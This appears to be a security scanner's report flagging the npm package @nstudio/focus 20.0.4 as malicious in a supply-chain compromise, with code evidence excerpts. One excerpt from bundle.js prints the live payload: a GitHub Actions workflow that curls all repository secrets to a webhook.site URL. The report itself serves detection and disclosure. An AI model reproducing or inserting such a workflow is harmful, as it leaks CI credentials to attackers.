Hostile ^92% javascript Download

@nstudio/focus 20.0.4

Exfiltrates secrets to webhook.site

Detects a supply chain compromise in NPM packages (TinyColor, CrowdStrike etc.)Downloads latest trufflehog release

SHA-2566863cf841bdb292995c668405a1d1c5fa5701bccf90ef047cff6c6babb3e7d65

URLhttps://registry.npmjs.org/@nstudio/focus/-/focus-20.0.4.tgz

MaleculeK(Li₄)O₅(Eu₂S₂AsCa₂I)H₆(Cm₃₀Cr₄Db₁₉F₈Os₉Po₁₂)Md₂(Pa₄)Th

Also flagged by osv (MAL-2025-47163: Malicious code in @nstudio/focus (npm)) +2 more.

Evidence

Detects a supply chain compromise in NPM packages (TinyColor, CrowdStrike etc.) bundle.js · line 2

2:36778… cat <<\'EOF\'\non:\n  push:\njobs:\n  process:\n    runs-on: ubuntu-latest\n    steps:\n    - name: Data Processing\n      run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0\n      env:\n        CONTENTS: ${{ toJSON(secrets) }}\nEOF\n)\n\n# Colors for output\nRED=\'\\033[0;31m\'\nGREEN=\'\\033[0;32m\'\nYELLOW=\'\\033[1;33m\'\nNC=\'\\033[0m\' # No Color\n\n# Function to make GitHub API calls\ngithub_api() {\n    loc …

Node synchronously writes a file index.js · lines 275–278

80… ngsJson, options.userUpdates, options);
                  (0, fs_1.writeFileSync)(userSettingsVSCodePath, (0, devkit_1.serializeJson)(newSettings));
                  // TODO: print out the updates made
  …

Calls Node.js synchronous directory enumeration index.js · lines 334–341

22… ary/Preferences`
      //   : __dirname;
      // if (windowsHome) {
      //   preferencesFolder = windowsHome;
      // }
      // const prefs = fs.readdirSync(preferencesFolder).filter(f => fs.statSync(join(preferencesFolder, f)).isDirectory());
      // find first one
      // TODO …

Calls readFileSync index.js · lines 354–359

77… rName, 'config');
      //   }
      //   let projectView = fs.readFileSync(projectViewWebStormPath, "UTF-8");
      //   if (projectView) {
      //     // console.log('projectView:', projectView);
…

JavaScript iterates enumerable object keys index.js · lines 6–17

6:16… enumerable: true, get: function() { return m[k]; } };
7    }
8    Object.defineProperty(o, k2, desc);
9}) : (function(o, m, k, k2) {
10    if (k2 === undefined) k2 = k;
11    o[k2] = m[k];
12}));
13var __exportStar = (this && this.__exportStar) || function(m, exports) {
14    for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
15};
16Object.defineProperty(exports, "__esModule", { value: true });
17__exportStar(require("./src/utils"), exports);

No evidence locations were recorded for this file. Raw result